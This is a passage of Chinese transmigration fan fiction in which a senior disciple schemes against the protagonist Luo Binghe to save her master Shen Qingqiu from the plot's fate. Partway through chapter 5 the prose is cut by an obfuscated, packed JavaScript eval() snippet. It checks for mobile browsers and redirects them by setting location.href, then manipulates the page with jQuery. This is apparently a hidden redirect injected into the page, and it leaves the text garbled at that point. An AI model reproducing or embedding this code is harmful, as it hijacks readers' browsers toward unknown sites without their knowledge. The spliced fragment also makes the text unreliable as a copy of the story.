看着被我抓在眼前的沈清秋,以前还会心疼他面色如玉,觉得他风流倜傥、仙人风姿。现在只想弄死他,弄死这个从不听人话,总以为自己能一挑百的货! “无聊。”沈清秋薄唇轻言,眼神转向窗外……好的,门外是没人了,窗户躲了好几个! 妈的,老子等会在弄死你。我随手将茶壶拎起,茶水化而为龙,将窗外的几人击飞出去,顺便内力一吸,将窗户关紧。 “给我一个解释。”我恶狠狠的眼神要杀人了! “你不觉得世界很无聊吗?” “所以你要作死?”我阴沉的脸要滴水,用能凌迟人的视线盯着他:“想死,我就早点弄死你,也省得你后面的牢狱之灾了。” “……” “说话!”我一章拍在桌子上,挂的好好的毛笔都要滚下桌面。 “我觉得世道不该是这样的。” “所以你到底要作什么妖!” “我看见柳清歌走火入魔……”沈清秋突然眼神飘忽,有点不好意思。 “我不是叮嘱过很多次,让他自生自灭吗?!!”突然,我顿了一下,满脸期待:“你快告诉我,其实柳清歌没有死,是你们两个布了个假死的局!” “呃……”沈清秋眼神闪躲:“我没近身……” “那为什么其他人都说是你杀的!!!”我要崩溃了,这家伙就不知道什么叫避嫌,什么叫君子不立危墙之下吗? “因为。”沈清秋脸色冷漠,又带着一丝恍惚:“修雅,自己飞过去了。” “!???”我震惊的眼睛都瞪圆了:“你说什么?” “没错。”沈清秋点点头。 “剧情……之力?”我心神百转,猜测出最大的可能——天道,或者说,作者的键盘! “今天的两局三胜?” “是我说的。” “?!” “但……”沈清秋眉头紧锁:“是因为我无法使用灵力。” “???”想到某种可能,我电光石火的问了句:“你当时让洛冰河上台,是你想……” “是,又不是。” “?” “虽然我想找个得力的,但是最后出口的却是让洛冰河上去。” “……”行吧。我也无奈了,这……难道故事没结束,剧情之力会强行让他走剧情? 不对,那之前呢? 我再次反复确认时间点:“拜师收人的时候,是你的想法吧?” “是啊,我看不惯他,怎么了?” “让明矾打人?” “我的想法啊。” “那你到底是什么时候?!” “大概……你跑过来说宁嘤嘤没给心法,我又心情好想让他正常上课的时候。” “?”我愣了一下:“但是洛冰河不是从来没上过吗?” “嗯。从那之后,我就更看他不顺眼,自然不会让他上课。” “本该有的兵器?” “一开始打算给,后面没给。” “本该的下山试炼?” “一开始打算和其他一样,后面给了个难度大的。” “……”好像懂了,这就是作者说的‘砍过一次大纲啊!’原本有血有肉,可以随便演绎的人,被砍成了脸谱化的恶毒配角。没剧情的时候可以随意浪,有剧情的时候要服从剧情之力的安排! 那……“你的修为呢?”我忍不住问起这个最关心的事情——毕竟,修为好像剧情里没提过!那是番外的事情了! “还在。闭关有所进益。” “还好还好。”我松了一口气,看来剧情之力虽然不可抵抗,但是其他细节还是可改的。至少修为没问题,那就不至于有大茬子。 至于下一个剧情点,应该就是仙盟大会了。 “你方才说,人生无趣?” “我只是觉得世道不该这样。” “那该怎样?”我反问:“强者为尊的时代,强者自然可以聚集一众小弟开门立派,接着网罗天下英才,搜刮天下财富。你身为正道第一大派的峰主,何曾需要自己为资源拼的头破血流?” “可……”沈清秋只脆弱了一瞬,立刻正了脸色:“你说得对,这个世界实力就是一切,强者自然有资格拥有一切,弱小即原罪。” 边说,他又看了我一眼:“那你既然知道强者为尊,又说什么‘看不得我身为落败方沦为阶下囚’?” “道理归道理,感情归感情!”我的态度异常凶狠,强词夺理:“人类本就双标,爱之欲轻生、恨之欲其死,所以我过来了啊!” “嗯。”沈清秋好像微微笑了一下:“你说的对,人就是双标的。” —————— 《救赎4》 劳资以身入局,要成为比boss更讨厌的大师姐! “洛师弟,你很狂啊?”此时此刻,我想我现在应该很像一个典型的反派角色吧,尤其是那种借助武力来狠狠打压主角的反派形象。眼前这位刚刚战胜魔族、击退强敌的年轻天才,如今却被我逼迫到了墙角,而接下来我还要做一些不足为外人道的事情。 “没有,师姐,你……”这位少年天才似乎还试图辩解什么。然而,他的话还没说完就被我打断。 “没有?”我的脸色变得阴沉而凶狠,“可是我听说,这位少年天才处处遭受冷遇,不仅被狠心的师傅克扣资源,更不顾道义地想要将他置于死地?” 听到这句话,洛冰河的脸色瞬间变得苍白如纸。尽管他原本打算是要借着这个机会扬名立万,并顺便揭露自己“被虐待”的真相,但那绝对不是在他还待在清静峰的时候! 毕竟,此时此刻的他才刚刚得罪了清静峰上最为权势滔天之人,用他的声誉和颜面来为自己壮胆助威之后,紧接着又招惹上了我这位毫不讲理的大姐头。可以预见的是,一场惨不忍睹的暴揍已经无法避免了! 只是——剧情之力极为强大,是因为世界框架和本源,还是因为...这是一个正在进行时的世界呢? 虽然我看到的时候,故事早已结束,甚至我现在所在的世界只是一个‘前世‘。可当今的情况,剧情不可更改,是因为世界本源不能更换框架,还是因为作者的键盘还在噼里啪啦的书写世界? 如果是本源框架,那么改变可能带来整个世界的崩塌; 如果是作者操控所有人,我只希望之前的事情是已发布、不能修改的剧情。要不然...除非跳出这个世界,否则几乎没有办法改变’创世神‘的意志。 我能进来纯属机缘巧合,就算是知道剧情也’‘下一世’的故事,而我所在的是‘前世’那个龙傲天的世界。男频的故事一直很简单——升级打怪换地图,找一个对他不好的人当小boss,然后为了打倒小boss而努力修炼,接着打脸其他人,成就一番名生,弄死小boss或者弄不死逃离,等回头换地图再来一次流程,接着回来继续打boss。 这期间。存在一个‘boss太强’需要换地图发育、接着打倒boss的时间差。 如果boss已经强到主角换了一个地图还打不死的程度呢? 如果boss在主角刚露面的时候已经死了呢? 如果boss手下的某个小弟比boss更吸引仇恨呢? 而我,就是打着这个主意。只要沈清秋的灵根修复,早日踏入世界武力值顶峰,成为一个无法被主角轻易打死的boss,那么事情就有转机——前提是该死的剧情不要再次打都不打就沉默被囚! 只要让沈清秋诈死,换个身份过活,主角的仇人小本本上就会自动划掉这个失败者,事情自然可成。但沈清秋凭什么要为了他诈死?凭什么为了一个可能会报复回来的可能性抛弃自己好不容易得到的一切? 那就只有一种可能了。成为boss手下最难缠、给主角留下无数阴影的小弟!也就是,取代明矾。 明矾最后的下场好像是被沈清秋打成半身不遂,还要死守清静峰,最后被扔到万毒窟一样的存在? 嗯。跟半死不活被囚禁刑罚、最后被宁嘤嘤用匕首杀死的沈清秋一比,还真是半斤八两。 不过嘛。如果明矾的武力值,不只是一个小跑腿该有的能力,而是另一个天花板呢?这算不算打boss之前先来了一个隐藏款小boss?或者这个小boss身后还有更强大的势力,比如‘卒’的后面还有个虎视眈眈的‘車’,想必能给主角增添无数的乐趣吧? 毕竟。阎王好惹、小鬼难缠嘛。相信我,对于拉仇恨这一点,我做的比明矾还好! 心满意足的将主角揍了一顿,还顺便给他扔了点见血封喉的毒药,很可惜,主角还是活蹦乱跳。 因为——宁嘤嘤跟我一脸娇羞的说,她昨天晚上梦见阿洛了~ ‘哦,梦魇出现了?’我挑了一下眉,对于这个外挂老爷爷,那可是主角的标配之一啊。只是若是他出现,主角的魔气,也该隐藏不住了吧。 嗯,决定了 ,以后每天晚上都要找主角‘联络’‘联络’感情! —— 在我的围追堵截中,主角的魔气修炼并不顺利。 虽然天魔之血很强,但是强也是有限制、有约束、有平衡的!不能被正常修炼、缺乏修炼资源、甚至还处于修真界这样一个天然排外(指魔气)的世界,主角想要踏实安稳修魔,难也~ “师弟啊。”我笑颜如花:“师姐听说,宁嘤嘤几次入梦都能梦见你?”讲个笑话,洛冰河魔气修炼不了,只能练梦魇之术,又因为需要拉别人练手,不敢招惹其他人(会下意识想弄死他),只敢拉宁嘤嘤入梦。 “没,没吧...”洛冰河眼神飘忽,他若是敢拉其他人入梦,别说脆弱的梦境会不会被毁掉,那些人只要看见他,认为自己还在梦中,会毫不犹豫的暴起揍他一顿!就算是宁嘤嘤,在我的极力挑唆之下,也认为洛冰河有些‘过火’了,怎么能将师尊的脸面踩在脚下,就为了让他出风头呢?! 现在的清静峰,沈清秋不出自己的竹屋,明矾在我的示意下没事就给洛冰河找点杂事、揍他一顿,我又时不时跳到他面前打断他修炼魔气。嗯,怎一个惨字了得啊~ 看看,一个原本阳光、朝气蓬勃的少年天才,被我打压成什么样子了?而这些,原本在剧情的引导下,都是沈清秋这个‘师尊’刻意放纵的结果。所以洛冰从魔界归来后,要狠狠的折磨打压自己的师傅,也是理所应当的事情嘛! “是嘛?”我完全不在乎主角到底想干什么,先狠狠揍一顿再说!拉仇恨不重要,重要的是我想看看天道会怎么补偿自己的宠儿,这些天我天天跟着洛冰河,也没有发现清静峰后山上有什么天材地宝、灵丹妙药的存在,不会真只凭修真界几乎没有的魔气,和一个残魂梦魇的指导,主角就能修炼有成吧? “师弟啊,”我揉了揉有些酸疼的手腕,感叹一句主角可真是皮糙肉厚:“嘤嘤是个好孩子,你知道吧。”我紧紧的盯着洛冰河的眼睛,看着他疼的抽冷汗的俊脸:“嘤嘤还小,你这家伙一看就是一肚子坏水,师尊也被你气的闭门不出,你要是不乖觉一点,师姐的拳头,还是有点威力的。” 看着洛冰河隐忍的眼神,我压根不在意——看得多了,虱子多了,不痒不痛。我继续循循善诱:“你知道的,嘤嘤脑子简单,你也别想教她怎么敷衍我,因为她的脑子,转不过我,懂?” “而且吧。”我又给他扔了一堆毒药,很可惜,还是没用:“若是我听到什么风声,我会第一时间来找你的呦~甭管是不是你做的,哪怕是有人陷害你,我也会狠狠揍你的呦~” —— 许是我压榨的太狠,主角的实力居然又提升了!这次的‘对打’,我很明显的能感受到主角的修为应该已经进入了筑基中期! “!”我震惊的看着他(嗯,我装得):“师弟啊,师姐才刚刚金丹,你这筑基已经可以跟我打的有来有往了啊。” “师姐说笑了。”洛冰河吐出嘴里的鲜血,脸部的线条已经变得冷硬,可以说‘刀锋般的脸庞’了。 对于主角来说,越级打斗完全不在话下,再加上我已经成功取代沈清秋和明矾,成为主角心中最大的boss,修为被追平、被追上,我早就心里有数。 不过。我将眼帘压下,我记得那个搞杂务的,安定峰?好像也有个魔族潜伏来着。甚至说,安定峰峰主,就是个通魔的家伙!那么....洛冰河莫名其妙增长的实力,是不是跟他有关系? 打定主意,我打算回头去那边看一下,说不定还正好能遇见魔族漠北君本尊,宣嚷起来,也算是给诸人提个醒吧。 洛冰河已经筑基中期,仙魔双修,却一丝魔气不漏。 哪怕被我打得爬不起来,虽然眼神凶狠,但魔气依旧隐藏的很好。 难道说,不到仙盟大会,洛冰河不能被人揭穿‘身怀魔气’的事情? 逻辑还真是缜密啊。 也是,若是前期早早暴露了,他还怎么能顺理成章的‘跌入’魔界,怎么理直气壮的‘卷土重来’,怎么开挂一般的一统修真界? 《救赎5》 劳资要公布洛冰河是魔族的真相! “师尊。”我恭敬地拱手行礼。 “嗯。”沈清秋微微颔首,算是回应了我。 紧接着,我一脸认真地说道:“仙盟大会即将开启,这次大会对于整个修仙界来说都非常重要。所以,师尊您一定要多加留意自己的身体状况,特别是双腿!!!” 帅不过三秒,同样我严肃也不过三秒:“千万不要一时兴起,手痒难耐想要进入会场玩耍啊!毕竟那里可是给你埋了一个大坑,剧情内是有你戏份的啊!!!” 听到我这番话,沈清秋原本面无表情的脸上闪过一丝无语和无奈,但他并没有开口反驳或斥责我。或许在他看来,我这样的关心虽然有些多余,但也算是一份心意吧。 ‘行吧。’我无奈地叹了口气,心中暗自思忖着。剧情之力向来神秘莫测,谁也无法预测它会如何作用于每个人身上。也许它会莫名其妙地控制他进入那个地方,而此时再多的言语或许都是徒劳无益的。 "记住了,此次仙盟大会可是主角收拢人心、大放异彩的故事啊!" 我郑重其事地再次强调道,"你要记住自己的戏份在仙盟大会的后期。等大家都进去之后,你在剧情的引导下肯定会遇见露出魔气的洛冰河,然后会毫不犹豫地将他踹下悬崖!" 这部分情节是原著中早就设定好的,我们不能轻易更改剧情。"而我呢,则会利用留影石和阵法,把这一切实时直播给外界观看。" 这样一来,即使沈清秋的行为是否受到剧情之力的干扰,他的所作所为也没有任何问题——毕竟将魔界的家伙扔下悬崖摔死这种做法,无论怎样都挑不出毛病来! 而且如此一来,还能够瞬间扭转世人对沈清秋一直不喜洛冰河的负面评价! 原本被视为恶师的形象,转眼间就变成了高瞻远瞩、深谋远虑之人! “好”。沈清秋点点头。 —— 事情发展得异常顺利,完全按照原计划进行着。这种顺应剧情的感觉简直太美妙了,几乎没有遇到任何阻碍。而这,也将是我扳倒洛冰河的最佳武器! 我精心地将那能够预感并传出一段影像的阵法,巧妙地布置在两界交界的狭窄缝隙处。然后,悄悄地藏身于暗处,屏气凝神,静静地等待着那两个关键人物的出现。 时间一分一秒过去,周围一片静谧,只有微风轻轻拂过我的脸颊,仿佛也在一同期待着什么。终于,一阵轻微的脚步声传入了我敏锐的耳中。我心中一喜,知道他们来了。 没过多久,那个被魔物追赶得十分狼狈、四处逃窜的洛冰河突然间犹如吃了菠菜的大力水手一般,浑身上下充满了力量!他仿佛打了鸡血一般爆发了小宇宙,只见他额头处的印记如同鲜血一般艳丽异常,流动的猩红色火焰,是让萧炎看了都心动的程度!不仅如此,他还直接利用从缝隙之中传递而来的魔气,如臂指使般地操控着,轻轻松松地就把魔物给压成了碎末! 不愧是主角啊,哪怕只是稍微接触一下,这些无主的魔气直接就能化为他的力量,助他成就大业! 与此同时,沈清秋的飞剑也紧接着飞射而来。沈清秋一看到正在使用黑色魔力碾碎魔物的洛冰河,心中不由得一惊。他想都没想,抬起脚来就准备狠狠地踹出去。这一脚若是踹实了,以洛冰河现在的状态恐怕也难以承受。 然而,就在沈清秋即将踹出这一脚的时候,他却忽然犹豫了一下。毕竟,我跟他反复强调过n次,没弄死他之前踹下去,就是送他保研的机缘啊! 就在这千钧一发之际,我也从隐藏身形的草丛里面走了出来。紧握着手中的剑,感受着它沉甸甸的重量和冰冷的触感——这是苍穹山派历经数代修士呕心沥血、苦心钻研才终于研制成功的绝世神兵,上面还专门涂有针对魔族有着巨大杀伤力的毒药、和刻画着对魔族拥有压制之能的阵法!为了将他拿出来,我没少跟万剑峰的傻子们扯皮! 我的眼神坚定而决绝,即使那些毒药对我也是有一定的侵蚀作用,但此刻我毫不犹豫的将长剑出鞘,冰冷的剑身散发出令人胆寒的暗绿色光芒。我一步一步地向着洛冰河逼近,每一步都充满了坚定和果敢。我的心跳如雷,但我并没有丝毫畏惧。我深知眼前的敌人实力深不可测且异常强大,但我坚信自己的目的必将完成。 斩主角。是我想了很久的事情。杀的还是男频龙傲天剧本里面的龙傲天。我已经尝试很多次,但除了让主角受伤外,连个残疾都落不下。这次,既然有机会,必要全力出手,争取让他翻不了身! 终于,我来到了洛冰河的面前,举起手中涂满剧毒的剑,直直地朝着他的心脏部位刺去。这一刻,时间仿佛凝固了,周围的一切都变得格外安静。我全神贯注地注视着剑尖,期待着它能够刺穿洛冰河的胸膛,结束这场战斗。 “你!”洛冰河瞪大双眼,满脸都是不可置信之色,仿佛完全没想到这里竟然还埋伏有人。他死死地盯着我这个突然出现、一直以来对他都有着格外恶意之人,而此刻,我手持长剑,正刺穿他的胸膛,并在抽出后又一次无情地猛刺向他那已经破碎不堪的心脏位置。每一剑都带着无尽的恨意与决绝,仿佛要将他碎尸万段才肯罢休。 太难了!我能够清晰地感受到手中剑意的颤抖,仿佛它也在畏惧着什么。而那与洛冰河血肉相连的阻碍,更是如同一座无法逾越的高山,横亘在我面前。 天魔之血,不死不灭,这简直就是一个如同 bug 般的存在!它赋予了洛冰河无与伦比的恢复能力,甚至能够让他在断肢残躯的情况下重生。然而,我心中却有一股坚定的信念:哪怕是历经千年岁月的古树,只要斩断它的根系,断绝所有的枝丫,让毁灭的速度超越它恢复的速度,依然可以将其砍断! 终于,在魔气的帮助下不断修复重生的洛冰河,将手中的剑插在地上,半跪于地,狼狈无比。 时机差不多了,我转头看向沈清秋,他咬紧牙关,使出浑身解数,将所有力量汇聚于双腿之上,然后猛然发力,一脚踹向了洛冰河。此时的洛冰河已是强弩之末,根本无力抵挡这致命一击,只能顺着这股巨大的冲击力,如断翅的飞鸟般直直跌落悬崖。 在我的身后不远处,数不胜数的留影石闪烁着微弱的光芒,它们宛如繁星般密集,形成了一片璀璨的光海。而在这片光海之下,错综复杂、神秘莫测的阵法也在悄然无声地运转着,如同一个巨大而精密的机器,默默地执行着自己的任务。 这些留影石和阵法似乎在默默地誊写着某个秘密,它们像是一群忠实的记录者,将刚才发生的那惊心动魄的一幕毫无遗漏地记录下来。那些影像将会成为永恒不变的证据,永远见证着这场实力悬殊的生死较量。 而这次仙盟大会的惨烈与残酷,也将被定性为魔族宵小的又一次阴谋诡计。 想到这里,我不禁感到一阵欣慰。长长地舒了一口气,心中的紧张和担忧终于稍稍缓解。天知道我内心有多么害怕留影石会突然失效,或者阵法会受到魔气侵蚀而无法正常使用。 如果真的发生那样的情况,我们所有的努力都将白费,真相也可能会被掩盖。故事的发展还是会和原著一样,被泼上的脏水也难以被洗刷。但是,幸运女神终究还是眷顾了我们,这一切都没有发生,让人深感庆幸。此刻,我对未来充满了信心,即使明知主角在五年后会卷土重来,但此刻的胜利,已足够人欢喜。 其实仔细想来,我并没有真正意义上的“改变剧情”,最多只能算是给它打了一些“小小的补丁”而已。毕竟,洛冰河能够占领整个修真界靠的完全是强大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447747|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无比的武力,而我所做的不过是提前将真相公之于众罢了,并没有对整体剧情产生太大影响。这样一想,我心中的不安顿时减轻了许多。 有此事在前,人们就算后续想借“柳清歌”的事情找事,也可以顺理成章地把所有责任都推到魔族身上。而将安定峰峰主通魔的事情爆出,就更能够彻底洗脱掉沈清秋身上的嫌疑。 至于给柳清歌扑上一层“疑似通魔”的身后恶名,虽然并非我们所愿,但这确实也是目前情况下最为稳妥的办法了。毕竟只有这样做,才能够确保万无一失,让沈清秋不受到任何牵连和影响。虽然对于柳清歌来说有些不公平,但为了大局着想,也只能如此了。权宜之策嘛,也是为了苟命不得已而为之。 —————— 《救赎6》 攘外必先安内,拔除卧底是必须的 没有主角的日子就是轻松且快乐的朴实无华啊。 这五年来,清静峰诸人的能力都更上一层楼,几乎每个人都到了金丹境界。而这其中,除了清静峰的资源外,还有苍穹山派和其他山派给的‘礼物’。 毕竟那么多留影石和阵法可不是轻易能够伪造出来的,洛冰河浑身散发着魔气,对修真人士来说极为可怕的魔气、他却丝毫没有畏惧之意,反而能够利用缝隙中的魔气为己所用。 尤其是他被我捅了无数次都没有死去,最后还在半死不活的状态下被沈清秋恶狠狠的一脚踹下了悬崖。这一切都证明了,我们两人可是修真界的大恩人啊! 虽然其他一些人可能并不了解魔族的危害性,但对于二十年前被封印的天琅君,各大门派中稍有地位的人绝对不会忘记。 毕竟修士们的寿命都很长,区区二十年不过是闭关修炼所需的时间而已。甚至好些人的亲属都曾经在那场战斗中牺牲或受伤,这些人都是修真界坚定的主战派,他们一个个摩拳擦掌,正等待着合适的时机再次开战呢! —— 此次仙盟大会,可谓是给年轻一代带来了沉重打击。 想当年,幻花宫曾因被指责与魔族勾结,最后以毒死了自己徒弟用来证明清白一事而声名狼藉。如今,他们所寻觅的会场竟然再度惊现魔族踪迹!这让原本就饱受争议的幻花宫更是雪上加霜。 暂且不论其他,单就其声誉而言,早已一落千丈,门下弟子们也都如缩头乌龟般躲在家中,再无颜面踏出宫门半步。 事已至此,他们也是哑巴吃黄连——有苦说不出。毕竟 20 年前那档子事还能拿时间当挡箭牌,但这回可真是铁证如山、百口莫辩了。 尤其是那些年轻翘楚们,个个都是门派未来的栋梁之材,修真界门派那个能承受得起如此众多青年才俊、因这场风波而丧命或是断送天赋呢? 幻花宫几乎要被这次的事情给打压的跌出四大派了!(恐怕这也是后期主角会蚕食掉这个门派的原因) —— 当然了,为了抵御那位即将从无尽深渊脱困而出的主角——没错,仙盟大会的‘转播’之后,大家都认识到了有个能沟通两界的缝隙是个多么可怕的事情。于是集整个修真界之力,众人成功地将那道能够通往魔界的裂缝给封住了。 而且,为了以防万一,在那个封印之地的四周,大家还精心布置了许多用于示警的装置。一旦有任何异常情况发生,哪怕只是一点点细微的动静,各个门派都会立刻派遣专人前去查探究竟。 虽说我心里清楚,五年后洛冰河必定会重归修真界,但这其中仍存在诸多变数。首先,谁也无法确定他具体会在哪一天归来;其次,当初我可是狠狠地砍了他好多刀啊,也许此刻的他正处于疗伤恢复期,这样一来就很有可能导致他现身的时间往后推迟。 不过话说回来,不管怎样,未雨绸缪总是好的。多做一些准备工作,多思考一些可能出现的状况,只有这样才能做到万无一失嘛。 —— 穹顶峰的弟子传来消息称,跌落悬崖、消失已久的洛冰河竟然再次出现在缝隙附近!得知此消息后,岳掌门立刻召集其他各峰峰主前往议事厅共同商讨对策。 我紧跟在沈清秋身后一起走出房门,站在他的身边,看着沈清秋老神在的坐在那里、悠悠哉的慢慢品茶。 此时此刻,岳清源正在滔滔不绝地发表着自己的意见和看法,而坐在一旁的百战峰首席弟子则显得有些按捺不住,手上的剑已出鞘,似乎随时都准备冲出去与敌人一决高下。 再看向另一边的安定峰峰主,他的神情异常紧张,身体甚至不由自主地微微颤抖起来——这里毕竟不是原著(第二世)的那个世界,而且这位安定峰峰主和漠北君之间更没有什么所谓的“CP”关系,他不过只是魔界的一只走狗罢了。 是狗,就会对主人的事情格外关注。甚至有时会为了主人,反咬亲属一口——当年苍穹山派被灭,这个尚清华可没死,甚至还在修真界有那么一丝的地位,抱了主角大腿的人,生活自然与其他人不同,滋润无比。 会议结束,众人安排好留守人数后准备一起去前线。 我拉了下沈清秋的衣袖,以迅雷不及掩耳之速将眼前的那个准备偷溜出去的家伙给牢牢摁住:“尚峰主,你走的好快啊。” “呃……”尚清华看着我居高临下的态度和自己被压的低低的头颅,有些不知所措。 “尚峰主,你走那么快,是准备做什么?” 就在我行动的时候,沈清秋已经摇起折扇,抵挡住其他人的举动。 “沈师弟,你什么意思?” “沈师叔,你污蔑我师尊不算,现在又要霍霍其他人了?” 最后还是老好人岳清源出面:“小……沈师弟,是发生了什么事?” 我死死的压住手下乱动的尚清华,用挑衅的目光环绕众人,最后看着中间的岳清源,道:“掌门师伯有所不知,这尚峰主……” 我低头,将尚清华的脸掰正,面向众人:“可是漠北君的一条好狗呢。” 音落,满室寂静。 “若说漠北君啊,”我嗓音平稳,略带打趣:“就不得不提一下岳掌门了。” 看着众人看向岳清源,我嘴角勾起一丝搞事的笑容:“很多年之前,还是弟子的尚清华,曾被魔族捉去。此事……大家可还记得?” 哈哈,看见众人那若有所思的表情,我就知道他们记得。 “那么多人被抓去,最后只有他一个人活着回来。你们没有一个人怀疑过吗?”我缓缓的将故事细节扒开:“我师尊,当时唯一一个提出质疑的人,”我感叹的摇了摇头,作出‘不知道怎么评价’的样子: “明明我师尊都已经提出了如此大的破绽,其他人也正准备要深究一下。只是……”我故意顿了顿:“想必大家还记得是谁制止了这件事情吧?” 我大刺剌的看向岳清源,眼睛里是明晃晃的恶意。完全不顾及自己这么说是不是在引战,也完全不介意其他人的猜测与讨论,我要让这趟水更浑,让这件事闹的更大! “什么?”唯有状况外的百战峰弟子,因年岁小而不知事、不懂事,现在也是第一个发表自己声音的。 “你到底想说什么。”岳清源的声音不复之前的从容淡定,有了一丝裂痕。他一直维持着正道魁首的端庄大气,也保持着对沈清秋的体贴关心,但这件事情一出,大家自会回过味来—— 毕竟,轻飘飘的言语关心,和实际上的各种反对比起来,太轻微、太渺小了些。 “没什么。”我无所谓的耸了耸肩:“抓了个魔族奸细,人族叛徒罢了。” “证据?”岳清源不想跟我装,开始以道貌岸然的态度来要求我拿出证据举证了。 “哎。”我叹口气,虚伪的面具戴久了,就算是心里不爽,也只会迂回曲折的打压人,一点爽感都没有嘛! 不过也是,权力之巅的人只需要用正常的、已经规划好的条约和道理,就能打压得你体无完肤,哪里需要跟小人物一样明打明的动刀子呢? —— 苍穹山派居然隐藏有通魔族的败类?! 这个消息不胫而走,在修真界引起巨大轰动。尤其是洛冰河已经开始着手于破坏封印,大战不日即将到来,修真界开始人人自危,宗门大派都开始层层检查,务必要将隐藏的奸细处死! —————————— 《救赎7》 改不掉剧情,就为自己拼个番外吧 崛起于毫末之间,败尽天下无数天骄,这是主角才应有的标配。 费尽千般心思,耍尽万般手段,到了最后依然是功亏一篑,落得一个满盘皆输的下场,这便是反派注定的归宿。 哪怕我用尽一切办法,拉拢了足够多的人登上这条贼船,又几乎引得整个修真界的人都站出来与洛冰河正面交锋,但最终,修真界还是败了。 苍穹山派被灭,沈清秋沦为俘虏,宁嘤嘤依然成为主角的后宫之一。 “嘤嘤。”我拽住天真可爱的少女,悄咪咪地拉着她进小树林,压低声音说道:“你知道师尊现在正被囚禁在地牢之中吧?” “嗯。”宁嘤嘤用力地点点头,一双大眼睛小心翼翼地环顾四周后,才开口回答道: “师姐,我知道啊!听他们说,师尊如今已沦为苍穹山派的俘虏之一,与其他那些所谓的名门正派一同关押在牢房里呢。所以……师姐,难道你是想要去劫狱救师尊出来吗?” “emmm……”我看着眼前这个想法似乎有些过于单纯的小师妹,心中轻叹一口气,实在不想跟她过多提及原著中关于沈清秋的那些悲惨遭遇。略微思索片刻之后,我终于还是下定决心开口说道: “我确实有两个计划,如果能够顺利劫牢把师尊救出来自然最好不过;但若是事不可为,那么到时候就只能拜托你亲自动手,送师尊一程了。” “啊?为什么啊?”宁嘤嘤震惊得小脸惨白,身体不由自主地颤抖着:“就算是沦为阶下囚,也不至于会危及性命啊,为什么非要杀了他呢......” 她紧紧地盯着我,眼神中充满了怀疑和不解:“师姐,你不会是有什么私怨吧?不然怎么会如此狠心......” 我无奈地叹了口气,心里暗自嘀咕道:亲,你不懂,龙傲天对敌人向来都是冷酷无情,就像寒风一样凛冽。如果让敌人落在他手里,那简直就是生不如死啊!所以说,被他干脆利落的一刀砍死,反而是一种比较好的结局了! 看着宁嘤嘤那一脸天真无邪的模样,我不禁感到有些头疼。但事已至此,我也只能尽力向她解释清楚。 “师妹,这并不是什么私怨。只是以我对洛冰河的了解,他对待敌人从来都不会心慈手软。若是让师尊落入他的手中,恐怕只会遭受更多的折磨和苦难。倒不如现在一刀杀了他,让他早点结束痛苦。这样对他来说,也是一种解脱啊......”我语重心长地说道。 宁嘤嘤听了我的话,脸上的表情依旧十分复杂。她咬了咬嘴唇,似乎在思考着什么。过了一会儿,她终于缓缓点头道:“好吧,师姐,我明白了。可我还是觉得……” 我紧紧闭上双眼,深深地吸了一口气,然后换了一种语气说道:“那你一定要答应我,如果师尊被独自监禁,而且状况看起来非常糟糕,就一定要杀了他,让他早日摆脱痛苦。” “为什么?”宁嘤嘤仍然无法理解我的想法,甚至觉得我太过残忍和冷酷。 哎呀,亲,你为何不能听我的呢?!我真希望能抓住她的肩膀用力摇晃,但还是不得不克制住自己的情绪,温声解释道: “师尊对待洛冰河的态度你应该很清楚吧?如果他把师尊单独关起来,肯定是想要狠狠地折磨他啊!师尊是那么骄傲的一个人,宁死不屈,难道你忍心看着他遭受洛冰河的种种折磨吗?既然无法救出他,给他一个痛快才是最好的选择!” 宁嘤嘤神情恍惚地离开了,仿佛失了魂一般。尽管她的内心深处无法接受这样的事实,但我坚信,一旦她亲眼目睹了沈清秋在地牢中的凄惨模样,必定会毫不犹豫地采取行动。 没过多久,我就在魔族通往乱葬岗的道路上,发现了沈清秋的遗体。不出所料,他遭受了极其残酷的折磨,最终被匕首刺穿心脏而亡。这样的惨状让人不忍直视,但同时也证明了我之前的猜测与做法是可行的。 这一切都发展得很好,至少在目前这个时间节点上,洛冰河成功地捕获并关押了所有敢于反抗的势力。虽然实施了一些刑罚,但那也是针对整个修真界的集体惩罚——毕竟整个修真界都处于疯狂抵抗的状态,洛冰河没有多余的精力去特意为了儿时的仇恨而折磨个别敌人。 至于原著中所描述的那些施加的折磨手段,则是需要等到洛冰河彻底整顿完整个修真界之后,才能够腾出手来,拥有足够的时间和精力去慢慢折腾出来的东西。 从严格意义上来讲,其实我并没有对原有的剧情做出任何实质性的改动。最多就是让原本应该按部就班发生的剧情稍微提前了那么一点点罢了—— 负责给予死亡的凶手仍然还是那个备受沈清秋宠爱的小师妹宁嘤嘤,而他沦为阶下囚并且被困在地牢中的悲惨命运,同样也没有发生任何改变。至于那些惨无人道的刑罚和折磨手段嘛……总不可能真的要让洛冰河这个大魔王亲自下手去执行吧? 可以说是巧妙地利用了剧情之中存在的漏洞,同时也可以看作是帮助推动了剧情发展的速度——反正该死的人还是一样要死掉的,只不过是比原定计划早死了那么一丢丢而已,难道天道还会因为这点小事就出面阻止吗? 在原本的故事情节发展中,沈清秋后续并未再次露面的场景,他的故事在天道的剧本中已走入谢幕。只要小心翼翼避免出现在主角身边,就意味着他已经成功挣脱了原本设定好的框架模式。 只要能够让他重获新生,那么便如同鱼儿跃入广阔的海洋、鸟儿翱翔于高远的天空一般,再也不会受到剧情的束缚。 于是,我毅然决定将沈清秋的遗体带离魔界,带他进入到我之前曾不小心误入的密境之中。在那里,我施展出一种被视为禁忌的秘术,竭尽全力想要挽救他的生命。 经过无数个日夜的不懈奋斗和坚持,皇天不负有心人,我成功地让沈清秋重获新生,并恢复了往日的活力与朝气。 令人意想不到的是,他竟然失忆了!对于过往所发生过的一切都茫然不知。面对眼前这个熟悉又陌生的沈清秋,我内心百感交集、喜忧参半。 喜的是他能死里逃生、逃过一劫;他终于摆脱了剧情给他的枷锁,从此以后只需要做自己。 